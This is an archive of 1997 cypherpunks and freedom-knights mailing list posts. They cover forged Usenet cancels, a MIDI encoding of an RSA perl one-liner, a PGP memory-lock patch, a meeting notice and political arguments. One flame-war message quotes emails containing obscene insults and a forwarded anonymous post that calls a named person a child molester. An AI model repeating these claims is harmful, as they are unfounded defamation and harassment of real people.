> 	Make.Money.Fast is killed because it's spam a few thousand times
> over.  The legality of it doesn't come into question.

Look in your "control" newsgroup, and you'll see that most of the
cancels forged for the MMFs state in the body that they're being
cancelled because they're "illegal". To save bandwidth, here's one
counterexample to Tim's claim:

]Path: ...!newsfeed.internetmci.com!news.msfc.nasa.gov!cyberspam!not-for-mail
]From: news@news.msfc.nasa.gov
]Newsgroups: sci.physics
]Subject: cmsg cancel <32684BAE.68B3@computer.mic> no reply ignore
]Message-ID: <cancel.32684BAE.68B3@computer.mic>
]Date: Sat, 19 Oct 1996 15:07:31 GMT
]Control: cancel <32684BAE.68B3@computer.mic>
]Sender: listentome <determin@computer.mic>
]Reply-To: bitbucket@news.msfc.nasa.gov
]Organization: Semi-Automatic Chain Letter Remover
]Lines: 3
]Approved: news@news.msfc.nasa.gov
]X-No-Archive: Yes
]X-Canceled-by: news@news.msfc.nasa.gov
]
]ignore
]
]Illegal MMF canceled by news@news.msfc.nasa.gov

You will notice that the anonymous cancel came from a .gov site. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:32:09 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731100829.06883@math.uiuc.edu>
Message-ID: <PwcTae8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:

> "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:
>
> > 1. "Spam cancellers" are not generally news admins. They are plain old
> > users who get kicked off of their ISPs for forging cancels. For examples,
> > see Net.Scum pages of Rick Buchanan, David Ritz, et al.
>
> 	Many spam cancellers are news admins.  Most of the major ones are
> admins, in fact - Chris Lewis, JEM, etc.

You're splitting hairs.  One very unpleasant cancel-forger, Jan Isley,
was the admin of a site where he was also the sole user.  When I posted
to usenet the expose's of jan's net-abuse (forged cancels) and asked
everyone to complain to his upstream site (Emory University), Jan Isley
forged cancels for 6 of my articles claiming that I "advocate harrassment
of uninvolved third parties".  Well, the third parties got complaints
anyway and pulled jan's plug in no time. :-)

For the archetypal "spam canceller", please examine Tim Brown's
net.Scum page at http://www.netscum.net/brownt0.html when that site
is up.

> > 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> > s/he often diversifies into "retromodetration" - forgng cancels for
> > singly-postd articles whose contents they don't like and claiming that
> > they were "spam". For examples, see the Net.Scum pages for Guy Macon
> > (the retromoderator on soc.religion.quaker), Chris Lewis, et al.
>
> 	This rarely happens, actually, and such situations are quickly
> slapped down as soon as they're spotted.
>
> 	The two examples Dimitri gives, of course, are major
> misrepresentations.

Who's misrepresenting what, Tim?

Chris Lewis has a 'bot that forges cancels for multi-posted articles.

Chris Lewis forges cancels by hand for articles that are critical of
him (claiming that they're "spam"), for articles that quote his earlier
articles (claiming that they violatehis copyright), posts numerous
lies about me (which you yourself partialy refutes the other day).

Tim Brown, a similar "spam canceller", forges cancels for "spam" as
well as articles that make fun of his newsletter, "The Last Word".

Etc, etc - take a look at www.netscum.net for numerous other examples.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:37:04 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <19970731101458.59875@math.uiuc.edu>
Message-ID: <P9cTae9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:

> "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:
>
> > Paul Pomes is a fouil-mouthed liar.  Please see his Net.Scum page at
> > http://www.netscum.net/pomesp0.html.
>
> 	What, you mean "Paul B. Pomes, ppomes@qualcomm.com, former
> p-pomes@uiuc.edu, mailbombs posters and their upstream sites with
> obscenities and false complaints."  That's the best you guys can do -
> complain about obscenities and 'false complaints'?
>
> 	You guys don't know Paul very well, do you?

The people on the Cypherpunks mailing list know Paul Pomes as a member of
Gary Burnore's databasix gang who has been complaining to remailer
operators' upstream sites and employers (such as Jeff Burchell).

Here are some of the e-mails I've received from Paul Pomes:

]From ppomes@Qualcomm.com  Mon May  5 15:42:15 1997
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Mon, 05 May 97 16:07:50 EDT
]	for dlv
]Received: from zelkova.qualcomm.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA05094 for dlv@bwalk.dm.com; Mon, 5 May 97 15:42:15 -0400
]Received: from localhost (localhost [127.0.0.1])
]	by zelkova.qualcomm.com (8.8.5/8.8.5) with ESMTP id MAA04331
]	for <dlv@bwalk.dm.com>; Mon, 5 May 1997 12:42:12 -0700 (PDT)
]X-Mailer: exmh version 2.0gamma 1/27/96
]To: dlv@bwalk.dm.com
]From: Paul Pomes <ppomes@Qualcomm.com>
]Organization: Qualcomm, Inc.
]Mime-Version: 1.0
]Content-Type: text/plain; charset=us-ascii
]Date: Mon, 05 May 1997 12:42:11 -0700
]Message-Id: <4328.862861331@zelkova.qualcomm.com>
]Sender: ppomes@Qualcomm.com
]
]I take this all to mean that you are Master Cocksucker Dimwit Vulis?
]After all I was always taught to consider the source.
[my totally unrelated cypherpunks article snipped]

Paul Pomes sends me harrassing e-mail and quotes more obscenities from
the anonymous remailers:


]From ppomes@Qualcomm.com  Mon May  5 14:34:22 1997
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Mon, 05 May 97 16:07:56 EDT
]	for dlv
]Received: from zelkova.qualcomm.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA29061 for dlv@bwalk.dm.com; Mon, 5 May 97 14:34:22 -0400
]Received: from localhost (localhost [127.0.0.1])
]	by zelkova.qualcomm.com (8.8.5/8.8.5) with ESMTP id LAA04164
]	for <dlv@bwalk.dm.com>; Mon, 5 May 1997 11:34:15 -0700 (PDT)
]X-Mailer: exmh version 2.0gamma 1/27/96
]To: dlv@bwalk.dm.com
]From: Paul Pomes <ppomes@Qualcomm.com>
]Organization: Qualcomm, Inc.
]X-Url: <http://www.qualcomm.com/~ppomes/>
]Mime-Version: 1.0
]Content-Type: text/plain; charset=us-ascii
]Date: Mon, 05 May 1997 11:34:15 -0700
]Message-Id: <4161.862857255@zelkova.qualcomm.com>
]Sender: ppomes@Qualcomm.com
]
]My alias of dimwit for you is appropriate.
]------- Forwarded Message
]
]Date:    Sun, 04 May 1997 13:39:11 +0200
]From:    nobody@replay.com (Anonymous)
]To:      cypherpunks@toad.com
]Subject: Re: Firewalls
]
]Timmy Mayo the self-admitted child molester
]possesses a rudimentary dick less than one
]inch long, half the size of his mother's
]clitoris, that barely makes a fistful. Thereby
]hangs the root of this Jew-hating sissy's sick
]fixation on little boys and Usenet forgeries.
]
]         \|||/
]         (o o)
]     -ooO-(_)-Ooo- Timmy Mayo
]
]
]------- End of Forwarded Message
]
]



]From ppomes@Qualcomm.com  Wed May  7 17:27:20 1997
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Wed, 07 May 97 19:18:55 EDT
]	for dlv
]Received: from zelkova.qualcomm.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA21866 for dlv@bwalk.dm.com; Wed, 7 May 97 17:27:20 -0400
]Received: from localhost (localhost [127.0.0.1])
]	by zelkova.qualcomm.com (8.8.5/8.8.5) with ESMTP id OAA08611
]	for <dlv@bwalk.dm.com>; Wed, 7 May 1997 14:26:32 -0700 (PDT)
]X-Mailer: exmh version 2.0gamma 1/27/96
]To: dlv@bwalk.dm.com
]From: Paul Pomes <ppomes@Qualcomm.com>
]Organization: Qualcomm, Inc.
]X-Url: <http://people.qualcomm.com/ppomes/>
]Mime-Version: 1.0
]Content-Type: text/plain; charset=us-ascii
]Date: Wed, 07 May 1997 14:26:31 -0700
]Message-Id: <8608.863040391@zelkova.qualcomm.com>
]Sender: ppomes@Qualcomm.com
]
]And you fancy yourself a human being.  We all have our illusions.
]
]------- Forwarded Message
]
]Date:    Tue, 06 May 1997 03:14:52 -0400
]From:    lucifer@dhp.com (lucifer Anonymous Remailer)
]To:      cypherpunks@toad.com
]Subject: PGP
]
]Tim C[retin] Mayflower styles his facial hair to look more
]like pubic hair.
]
]      ,,,
] -ooO(o o)Ooo- Tim C[retin] Mayflower
]      (_)
]
]
]------- End of Forwarded Message
]


Please tell me, Tim, why you disagree with Paul's description on his
Net.Scum page.


I'm posting this for the record to the F-K list, so people are aware
of the kind of behavior Tim Skirvin condones in his friends.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 3 Aug 1997 03:16:06 +0800
To: coderpunks@toad.com
Subject: RSA - the song
In-Reply-To: <199708011035.LAA01061@server.test.net>
Message-ID: <19970802120226.07980@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3980.1071713720.multipart/mixed"

--Boundary..3980.1071713720.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On Fri, Aug 01, 1997 at 11:35:02AM +0100, Adam Back wrote:
[...]
> 
> print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> 
> > I dug out a midi interpreter I wrote a number of years ago, 
> > and it is indeed trivial to modify it to read any text as input.  
> > Unfortunately, I wrote that long before the midi file spec was 
> > finalized, and the hardware I wrote it for is also long gone.  But 
> > it's probably not much work to get file output working again...and 
> > the thought of a general text-to-midi translator is rather 
> > entertaining -- I could play this entire mail message through it, for 
> > example... It would definitely make better music if some rhythmic 
> > variation was part of the coding, but that would make it a little 
> > harder to make an automatic decoder...
> 
> I'd find it most cool to hear an audio file of the above.

Well, I generated a midi file that encodes music which in turn is a 
direct algorithmic encoding of your program.  I didn't have a 
convenient way to go to a direct sound file, but midi players are 
very widely available -- any recent pc with a sound card will have a 
"multimedia midi jukebox" or something like that.  And there are 
probably free ones on the net -- I didn't look.  The midi file will 
be a mime attachment to this message.  It's also at 

	ftp://songbird.com/pub/rsa.mid 

For aesthetic reasons I modified the encoding from the simple one
mentioned earlier, and, rather than try to modify one of my earlier
midi programs, I just hacked this one out from other sources.  The
program will actually encode any binary data into a piece of music. 

I think that musically the piece is actually somewhat interesting -- I
kind of like it.  Like the source text, it is rather dense.  But if
you listen to it a few times patterns and phrasing will appear.  It 
sounds like reasonable avante garde music, actually -- something a 
college radio station might broadcast to the world late at night...

The program is really rather trivial, so rather than describing the 
encoding, I am just appending it to this message.

--------------------------------------------------------------------
/*
    dtom -- convert data to midi
        dtom midifile <datafile
            or
        datasource | dtom midifile

        convert standard in to a midi representation of the data, and
        write it to a standard midi file.  The midi data is designed
        to so that the sound produced will permit decoding by a pitch
        to midi device.  Two things are done to increase the musical
	interest:  First, the notes are selected from a diatonic 
	scale, instead of a chromatic.  And second, the rhythm is 
        also varied algorithmically -- any decoding from the sound 
        should ignore all rhythmic variation.

	Code uses "midifilelib" from Tim Thompson & Michael 
	Czeiszperger, and is cobbled from one of their examples.

*/
    

#include <stdio.h>
#include <ctype.h>
#include "midifile.h"

#define ROOT 36

FILE *fp;

/* offsets for three octaves of diatonic major scale */
int scale[] = {0,2,4,5,7,9,11,12,14,16,17,19,23,24,26,28,29,31,33,35,36};

mputc(c) { return(putc(c,fp));}

int writetrack(track)
int track;
{
    int note_duration;
    int rest_duration;
    int high_nybble;
    int low_nybble;
    char c;
    char n1[2];
    char n2[2];

    mf_write_tempo((long)100000);

    while( (c = getchar()) != EOF ) {

        high_nybble = (c>>4) & 0xf;
        low_nybble  = c & 0xf;
	
	/* low note */
        n1[0] = scale[low_nybble]+ROOT;	/* note number */
        n1[1] = 64;                     /* velocity */

	/* high note */
        n2[0] = scale[high_nybble]+ROOT+scale[16];
        n2[1] = 64;

	/* shouldn't happen */
	if( n1[0] >= n2[0] ) printf("warning -- voice crossover!\n");

	/* note_duration needs to be long enough for pitch detectors */
	note_duration = 120*((c&15) + 4);
	rest_duration = 120*(((c>>5)&3));

        if(!mf_write_midi_event(rest_duration,note_on,1,n1,2)) 	return(-1);
        if(!mf_write_midi_event(0,note_on,1,n2,2))		return(-1);

        if(!mf_write_midi_event(note_duration,note_off,1,n1,2))	return(-1);
        if(!mf_write_midi_event(0,note_off,1,n2,2))		return(-1);
    }

    return(1);
} /* end of write_track() */

main(argc,argv)
char **argv;
{
    if( !(fp = fopen(argv[1],"w")) ) exit(1);

    Mf_putc = mputc;
    Mf_writetrack = writetrack;
    mfwrite(0,1,480,fp);
}

---------------------------------------------------------------------------


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html


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Content-Transfer-Encoding: base64
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--Boundary..3980.1071713720.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 2 Aug 1997 18:10:24 +0800
To: cypherpunks-announce@toad.com
Subject: August Cypherpunks Meeting Announcement
Message-ID: <3.0.2.32.19970802120325.006985f4@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



This month's SF Bay Area Cypherpunks meeting will take place at a new
location. Please pay close attention to the directions.

We will have several interesting topics to talk about, but have very
limited time. Please be there on schedule or you will miss the good stuff.

When:
Saturday, August 9, 1997 at 1:00 PM PDT. [22:00 local]

Where:
The Workshop tent, HIP'97 Campground, Almere, The Netherlands.

How to get there:
Take any plane from SFO to Shipol. Then follow the directions at
http://www.hip97.nl/route.html

This month's topics include:
o The electronic release of the PGP 5.0 platform independent source code.
o An introduction to the PGPcdk, a cryptographic toolkit.
o The Onion Router beta release.
o Practical phone encryption.
o Fast crypto on a smartcard.

What to do if you get lost:
Call me at my cell phone. +31 (0)6 5373-5125.

See you there,


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  Be HIP and join us for HIP'97 in Amsterdam.
  http://www.hip97.nl/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sat, 2 Aug 1997 13:57:47 +0800
To: cypherpunks@cyberpass.net
Subject: thanks...
Message-ID: <199708020550.OAA04024@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to everyone who sent me information about Key Recovery.

FYI, I gave a fairly objective update on the current status of the bills being
debated in the US, distributed the Walsh Report (missing some paragraphs)
and reviewed John Davidson's comments on the report, distributed and
reviewed "The Risks of Key Recover, Key Escrow and Trusted Third-Party
Encryption", distributed and reviewed most of the material written by
Carl Ellison, reviewed the recent letter from Janet Reno to Congress,
distributed Whit Diffie's May '93 testimony on Clipper, and finished by
distributing materials from the TIS site, in particular going over RecoverKey.

I can't tell you about any of the other stuff that is currently being
presented
in the study group, but once the report becomes public, I will try to get
an English version up on the Net. It should end up being the Japanese
National Poice Agency's official position on Key Escrow, Certification
Authorities, and several other issues.

I will be participating in another study group soon to discuss many of
these issues with the Self Defense Force from the point of view of
Japanese national security as well as another NPA study group on
what to do about "crackers"... Anyway, if anyone who can give me some
insight into these areas will be at HIP, I'd love to chat. ;-)

Thanks again.

- Joi

P.S. I am not a "policeman" but an outside boardmember of these
study groups. The ministries are under quite a bit of scrutiny these
days and the study groups tend to be quite frank and balanced.
The reports don't always dictate the law, but since most politicians
do not have real staffers, therefore most of the expert study is done in the
ministries.

--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 3 Aug 1997 02:44:23 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: free market services vs monopoly government
In-Reply-To: <19970802015614.65348@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970802152737.845A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> But your reasoning is this, apparently: "Kent says he doesn't believe
> it is possible for a human society to not have a government, therefore
> Kent favors big intrusive government." This kind of "reasoning" is
> rife on cypherpunks; may I suggest it is beneath you?

I don`t think this is a necessarily entirely spurious line of reasoning, 
all government leads to large and intrusive government, it is the nature 
of power that it corrupts and is addictive. So the statement above could 
be corrected to "Kent says he doesn`t believe it is possible for a human 
society to not have a government, therefore Kent favours a system which 
would eventually "evolve" into big intrusive government".
Anyway, the argument over anarchism vs. minarchism comes down very much 
to how you define government, if you define government as a body of 
people given the power to pass laws over the citizens of that 
jurisdiction, then government is indeed a bad thing per se, however, if 
you define government as a loose informal set of social norms and codes 
of behaviour (for a libertarian example see the NAP) then government is 
indeed present in all civilised and succesful human societies, real or 
conjectured.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sun, 3 Aug 1997 06:04:49 +0800
To: kent@songbird.com>
Subject: Re: RSA - the song
In-Reply-To: <199708011035.LAA01061@server.test.net>
Message-ID: <Chameleon.870554820.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Interesting.

Now for the obvious question, can you convert midi back to text?

Looks like a new way to hide encrypted messages.

amp

------------------------
  From: Kent Crispin <kent@songbird.com>
  Subject: RSA - the song 
  Date: Sat, 02 Aug 1997 12:02:26 -0700 
  To: cypherpunks@cyberpass.net, coderpunks@toad.com


> On Fri, Aug 01, 1997 at 11:35:02AM +0100, Adam Back wrote:
> [...]
> > 
> > print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> > )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> > 
> > > I dug out a midi interpreter I wrote a number of years ago, 
> > > and it is indeed trivial to modify it to read any text as input.  
> > > Unfortunately, I wrote that long before the midi file spec was 
> > > finalized, and the hardware I wrote it for is also long gone.  But 
> > > it's probably not much work to get file output working again...and 
> > > the thought of a general text-to-midi translator is rather 
> > > entertaining -- I could play this entire mail message through it, for 
> > > example... It would definitely make better music if some rhythmic 
> > > variation was part of the coding, but that would make it a little 
> > > harder to make an automatic decoder...
> > 
> > I'd find it most cool to hear an audio file of the above.
> 
> Well, I generated a midi file that encodes music which in turn is a 
> direct algorithmic encoding of your program.  I didn't have a 
> convenient way to go to a direct sound file, but midi players are 
> very widely available -- any recent pc with a sound card will have a 
> "multimedia midi jukebox" or something like that.  And there are 
> probably free ones on the net -- I didn't look.  The midi file will 
> be a mime attachment to this message.  It's also at 
> 
> 	ftp://songbird.com/pub/rsa.mid 
> 
> For aesthetic reasons I modified the encoding from the simple one
> mentioned earlier, and, rather than try to modify one of my earlier
> midi programs, I just hacked this one out from other sources.  The
> program will actually encode any binary data into a piece of music. 
> 
> I think that musically the piece is actually somewhat interesting -- I
> kind of like it.  Like the source text, it is rather dense.  But if
> you listen to it a few times patterns and phrasing will appear.  It 
> sounds like reasonable avante garde music, actually -- something a 
> college radio station might broadcast to the world late at night...
> 
> The program is really rather trivial, so rather than describing the 
> encoding, I am just appending it to this message.
> 
> --------------------------------------------------------------------
> /*
>     dtom -- convert data to midi
>         dtom midifile <datafile
>             or
>         datasource | dtom midifile
> 
>         convert standard in to a midi representation of the data, and
>         write it to a standard midi file.  The midi data is designed
>         to so that the sound produced will permit decoding by a pitch
>         to midi device.  Two things are done to increase the musical
> 	interest:  First, the notes are selected from a diatonic 
> 	scale, instead of a chromatic.  And second, the rhythm is 
>         also varied algorithmically -- any decoding from the sound 
>         should ignore all rhythmic variation.
> 
> 	Code uses "midifilelib" from Tim Thompson & Michael 
> 	Czeiszperger, and is cobbled from one of their examples.
> 
> */
>     
> 
> #include <stdio.h>
> #include <ctype.h>
> #include "midifile.h"
> 
> #define ROOT 36
> 
> FILE *fp;
> 
> /* offsets for three octaves of diatonic major scale */
> int scale[] = {0,2,4,5,7,9,11,12,14,16,17,19,23,24,26,28,29,31,33,35,36};
> 
> mputc(c) { return(putc(c,fp));}
> 
> int writetrack(track)
> int track;
> {
>     int note_duration;
>     int rest_duration;
>     int high_nybble;
>     int low_nybble;
>     char c;
>     char n1[2];
>     char n2[2];
> 
>     mf_write_tempo((long)100000);
> 
>     while( (c = getchar()) != EOF ) {
> 
>         high_nybble = (c>>4) & 0xf;
>         low_nybble  = c & 0xf;
> 	
> 	/* low note */
>         n1[0] = scale[low_nybble]+ROOT;	/* note number */
>         n1[1] = 64;                     /* velocity */
> 
> 	/* high note */
>         n2[0] = scale[high_nybble]+ROOT+scale[16];
>         n2[1] = 64;
> 
> 	/* shouldn't happen */
> 	if( n1[0] >= n2[0] ) printf("warning -- voice crossover!\n");
> 
> 	/* note_duration needs to be long enough for pitch detectors */
> 	note_duration = 120*((c&15) + 4);
> 	rest_duration = 120*(((c>>5)&3));
> 
>         if(!mf_write_midi_event(rest_duration,note_on,1,n1,2)) 	return(-1);
>         if(!mf_write_midi_event(0,note_on,1,n2,2))		return(-1);
> 
>         if(!mf_write_midi_event(note_duration,note_off,1,n1,2))	return(-1);
>         if(!mf_write_midi_event(0,note_off,1,n2,2))		return(-1);
>     }
> 
>     return(1);
> } /* end of write_track() */
> 
> main(argc,argv)
> char **argv;
> {
>     if( !(fp = fopen(argv[1],"w")) ) exit(1);
> 
>     Mf_putc = mputc;
>     Mf_writetrack = writetrack;
>     mfwrite(0,1,480,fp);
> }
> 
> ---------------------------------------------------------------------------
> 
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 08/02/97
Time: 16:46:07
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bpettigrew@usa.net
Date: Sun, 3 Aug 1997 07:25:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
Message-ID: <ww01-BHBXRE2923@netaddress.usa.net>
MIME-Version: 1.0
Content-Type: text/plain



aba@dcs.ex.ac.uk wrote:
> OK, lets say we make emails free, unmetered, but they _must_ include 
a
> valid token for 0c.  (OK Dimitri?)
>
> Next we choose a threshold say 1000 posts per day.  Seems hard to
> imagine anyone generating manually over 1000 emails per day.  That's
> more than 1 per minute for a 10 hour day.
>
> Next when you sign up for this new email postage system, you have to
> hand over a $100 deposit.  The 0c payments are anonymous.  But if 
you
> spend over 1000 of them in one day, your identity becomes known (via 
a
> mechanism like that used for Chaum's off-line double spending
> detection protocol).  You loose $100.  To you, the spammer, the 
posts
> cost 10c each.  Your account is disabled until you pay another $100.

How would this work.  The ISP is enforcing these rules?  But the email
is not anonymous to the ISP.  Or is the email going through a 
remailer.

Why not just have an ISP say you can't send more than 1000 emails a
day.  But then what stops other ISPs from using different rules to
get the business of spammers.

--
	Bubba Pettigrew





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Miller <dm0@avana.net>
Date: Sun, 3 Aug 1997 06:28:41 +0800
To: PGPlinuxbeta@pgp.com
Subject: PGP 5.0b11 feedback / PGP Linux memlock patch
Message-ID: <33E3B246.2C983092@avana.net>
MIME-Version: 1.0
Content-Type: text/plain

Guys,

Here's a patch for PGP 2.6.2 (and 2.6.3i) source which locks all
process pages in memory (will not swap to disk) under Linux if
the user is running with effective root privilege.  You might
consider putting something like this in PGP 5.0.  Also, this
patch should be generalizable to POSIX systems withthe mlockall(2)
function.  If you have any success in generalizing it to POSIX,
please let me know, as I only have access to Linux.

See 'man memlockall' for more info.

--David Miller

-- 
I'll take a smart dog over a dumb person any day.


Begin3
Title:		pgp-memlock.pat
Version:	25JUL97
Entered-date:	25JUL97
Description:	Patch for Linux PGP 2.6.2 and PGP 2.6.3i source to lock all
		pages in physical memory if running with root privilege.

		This keeps sensitive data from being swapped to disk, where
		it could be later recovered by undesirables.

		There is no effect if not run with effective root privilege.
		Root privs are immediately dismissed, allowing pgp to be
		safely installed SUID root (assuming its chmod'ed 4111).
		pgp.c is modified, increasing executable size by ~391 bytes.

Keywords:	PGP, encryption, security, Linux
Author: 	dm0@avana.net (David Miller)
Maintained-by:	dm0@avana.net (David Miller)
Primary-site:	sunsite.unc.edu  /pub/Linux/apps/crypto/pgp-memlock.pat
Alternate-site: Galactus
Original-site:	Coderpunks list
Platforms:	Linux
Copying-policy:	GPL
End


*** src/pgp.c	Sat Jul 26 01:25:57 1997
--- src/pgp.c.new	Sat Jul 26 01:25:50 1997
***************
*** 111,116 ****
--- 111,120 ----
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
+ #ifdef linux
+ #include <unistd.h>	/* for David Miller's memory lock patch */
+ #include <sys/mman.h>	/* for David Miller's memory lock patch */
+ #endif
  
  #ifdef __QNX__
  #include <sys/stat.h>
***************
*** 435,440 ****
--- 439,457 ----
  #ifdef	DEBUG1
      verbose = TRUE;
  #endif
+ 
+ /* David Miller's memory lock patch */
+ #ifdef linux					/* Linux only, for now */
+     if (geteuid() == 0) {			/* if we have root privs */
+         /* lock all current & future pages in physical memory */
+ 	if (mlockall(MCL_CURRENT|MCL_FUTURE) < 0)
+ 		fprintf(pgpout, LANG("\007Could not lock all pages in memory.\n"));
+ 	if (setuid(getuid()) < 0)		/* drop root privs */
+ 		fprintf(pgpout, LANG("\007Could not drop root priviliges.\n"));
+     }
+ #endif
+ /* end David Miller's memory lock patch */
+ 
      /* The various places one can get passwords from.
       * We accumulate them all into two lists.  One is
       * to try on keys only, and is stored in no particular



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 3 Aug 1997 09:40:11 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <v03102803b0094859ea52@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>In a "free market" a fundamental feedback loop is that inequality of
>distribution of wealth increases -- this obviously follows from the
>fact that it is easier to make money if you have money.  With wealth
>goes control.  Thus, the ultimate end of completely unfettered free
>markets is fascism, where the wealthy run the government.  This is
>another manifestation of the fundamental conflict between democratic
>ideals and unfettered free markets.
>
>Naturally, rich, indolent technologists tend to favor schemes that
>will put them in control. :-)

I can't fuly agree. In Europe, both communism and fascism started from the
socialists (in fact, the fascist were called National Socialists) and their
premise that a free market cannot bring about the social good (including
equality) they sought, and both accept the "... idea of a political party
which embraces all activities of the individual from the cradle to the
grave, which claims to guide his views on everything, and which delights in
making all problems questions of party...," F.A. Hayek, The Road to
Surfdom. Both favor totalitarian means to this end.

In the case of the Communist, the solution is no private ownership.  In the
case of Fascism, government mandidated oligopoly, which is as far from a
free market as communism.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 3 Aug 1997 11:04:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: RSA - the song
In-Reply-To: <199708011035.LAA01061@server.test.net>
Message-ID: <19970802195402.19993@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Aug 02, 1997 at 04:46:06PM -0500, amp@pobox.com wrote:
> Interesting.
> 
> Now for the obvious question, can you convert midi back to text?

Of course -- that was the point of the exercise.  Not only that, but
midi can be used to generate sound, and pitch to midi converters can
go from sound to midi -- one way to look at this is that I've just
implemented part of an inefficient modem protocol.  However, the 
interesting thing from a legal point of view is that the intermediate 
protocol is music.  It is clearly music, in fact.  I have written 
many such compositions, and if I didn't say, you wouldn't be able to 
pick out which one was RSA by listening.

> Looks like a new way to hide encrypted messages.

I'm not sure how good it would be for that.  I find it more
entertaining as another example of the absurdity of the export ban. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





